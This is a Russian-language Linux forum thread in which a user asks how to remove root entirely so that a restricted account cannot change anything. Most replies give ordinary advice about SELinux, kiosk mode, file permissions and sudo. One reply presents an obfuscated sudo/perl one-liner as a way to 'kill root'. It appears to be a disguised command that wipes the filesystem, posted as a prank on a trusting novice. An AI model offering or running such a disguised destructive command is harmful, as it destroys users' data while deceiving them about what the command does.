LinuxForum.Fans
Тема

уничтожить root

Автор: polzovatel 19 сообщений 2930 просмотров
#367657

Цель такова: создаю пользователя, запрещаю ему все по максимому, создаю прогу под root и разрешаю ей выполниться под user в том числе писать и читать файл по окончанию ее действия. .. при этом user не видит ээти файлы И прога работает....в принципе все как хотелось. .. но осталось совсм убить root и чтоб никто из под user не смог никак ничего изменить.... был эксперимент удалил в passwd строку первую с упоминанием о root. И Полностью закоментировал sudoers.. но как то не очень уверен в надежности.... поправьте мои действия... или подскажите как правильно реализовать такое чтоб изменить настройки можно было лишь при переустановке системмы с форматированием

#367660

polzovatel, цель как раз не обозначена. Что сделали - почти понятно. Что получилось - чуть менее, но как бы вроде. А вот хотели-то чего?

И да, это не "Общие вопросы", а в конкретную ОС. Политики везде разные и уж точно не везде используется sudoers.

И да, root Вы решили убить для системы вовсе? *ROFL*

#367661

Если user имеет физический доступ к компьютеру, то при желании он сможет сделать всё.
А произведённые действия - лишние и могут рассматриваться как признак неадекватного
восприятия действительности.

Пётр.

#367675

polzovatel, совсем убить root не получится, т.к. у вас основной "костяк" работает с абсолютными правами.
Если хотите запретить пользователю химичить - изучайте групповые политики в Linux, а не изобретайте
самотык.

#367687

kiosk

#367688

yars написал:
kiosk
Обоснуйте пожалуйста! *SCRATCH*
#367689
"polzovatel" написал:
чтоб никто из под user не смог никак ничего изменить....

Правда, он сможет изменять некоторые настройки , но до следующей перезагрузки.

#367791

Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.

#367819

в инитрд монтировать и запрускать нужное

#367825
polzovatel написал:
Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.

Учим SELinux. Это как раз для него типовая задача.

#367899

что ж вы над человеком так издеваетесь?
можно убить рута
если автор того хочет

text
sudo echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
#368094
"polzovatel" написал:
Цель такова

наверное вы хотите, что-бы на русском форуме вам объяснили, кто вы такой… Я угадал?

"polzovatel" написал:
Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.

1. создаёте двух юзеров А, Б
2. ставите под Б программу
3. делаете[console]$ chmod 0700 ~[/console] под Б
4. через sudo разрешаете выполнять программу юзеру А под именем Б
5. по вкусу добавляете ещё какие-нить политики/разрешения.

#368095
"Cruiser78" написал:
Учим SELinux. Это как раз для него типовая задача.

отстрел комаров из BFG-10k ИМХО. Но да, можно попробовать…

#368307

stranger написал:
[quote=yars]kiosk
Обоснуйте пожалуйста! *SCRATCH*[/quote]
Данный режим запрещает пользователю все. Ему доступны только те функции к которым ему дали доступ. Киоск называется по тому что терминал оплаты заменил киоскеров. Если видели терминал или банкомат то это оно и есть. В банках и магазинах данный режим даёт пользователю доступ к браузеру со специальной версией сайта. Пользователь может просматривать страницы, но закрыть браузер не может.
#368309

Набрать в Google "how to remove root ubuntu"
Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.

#368310

"mozgfx" написал:
А вот авторизоваться нельзя.
В Fedora root есть, а авторизоваться тоже нельзя — колдовать нужно.
#368314

"mozgfx" написал:
Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.
ну почему же нельзя? sudo -i никто не отменял. А многие кулибины придумали sudo su.

Вот только ТСу совсем НЕ это нужно, перечитайте пожалуйста первый пост. И этот: уничтожить root Это не киоск, а какое-то одно приложение, тут нужно либо sudo -u userB, либо ещё что-то такое.
"redix" написал:
В Fedora root есть
root есть везде. Без него Linux тупо не загрузится.
#368332
mozgfx написал:
Набрать в Google "how to remove root ubuntu"
Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.

Это кто ещё придумал?
[console]sudo passwd
su[/console]

#368337

Учетная запись root есть и её нельзя удалить.
В противном случае как пользователь планирует повышать привилегии приложений?
Можно только отключить. В Убунту так это делается "sudo passwd -dl root" да и включить её не составит труда по той же инструкции...
Да там вообще написано sudo выполняется с паролем пользователя, а не рута...
Поэтому пользователю Убунта подходит меньше всего...
https://help.ubuntu.com/community/RootSudo

Войдите или зарегистрируйтесь, чтобы ответить.